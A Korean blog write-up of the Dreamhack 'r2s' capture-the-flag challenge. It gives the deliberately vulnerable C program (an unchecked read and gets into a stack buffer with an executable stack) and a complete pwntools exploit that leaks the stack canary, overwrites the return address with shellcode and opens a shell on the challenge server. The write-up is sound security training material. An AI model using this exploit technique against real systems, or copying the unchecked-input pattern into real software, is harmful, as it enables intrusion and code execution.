반응형
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf); //buf의 주소
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf); //buf와 rbp값 사이의 거리
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100); //0x100(256)크기만큼 입력값을 buf에 담음
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
buf는 80바이트로 선언되어 있고 gets 함수가 사용되어 입력 길이에 대한 검증이 없기 때문에 취약점이 존재한다는 것을 알 수 있다.
checksec 툴을 사용해서 확인하면 보호기법으로 Canary가 발견되었고 NX 보호기법이 적용되지 않은 것을 알 수 있다.
따라서 쉘코드를 이용한 공격이 가능하다.
코드를 실행하면 buf의 주소, buf와 rbp 사이의 거리를 알 수 있다.
buf와 rbp 사이의 거리는 96이다. buf의 크기는 0x50이지만 read 함수로 0x100 크기만큼 읽기 때문에 BOF가 발생한다.
이를 이용해서 카나리값을 알 수 있다.
위와 같은 메모리 구조를 가지고 있고
buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
context.arch = "amd64"
p = remote("host3.dreamhack.games", 22998)
e = ELF("./r2s")
shellcode = asm(shellcraft.sh())
# Get buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)
# Canary Leak
payload = b'A' * 0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
slog("buf", buf)
slog("canary", canary)
# BOF
payload = shellcode
payload += b'A' * (88 - len(shellcode))
payload += p64(canary)
payload += b"A" * 8
payload += p64(buf)
p.sendlineafter("Input: ", payload)
p.interactive()
익스플로잇 코드를 작성한다.
공격에 성공하면 쉘이 뜨고 플래그 파일을 출력하면 문제를 해결할 수 있다.
반응형
'Dreamhack > System Hacking' 카테고리의 다른 글
Mitigation: NX & ASLR (0) | 2024.05.22 |
---|---|
ssp_001 (0) | 2024.05.15 |
Exploit Tech: Return to Shellcode (0) | 2024.05.14 |
Mitigation: Stack Canary (0) | 2024.05.07 |
basic_exploitation_001 (0) | 2024.05.07 |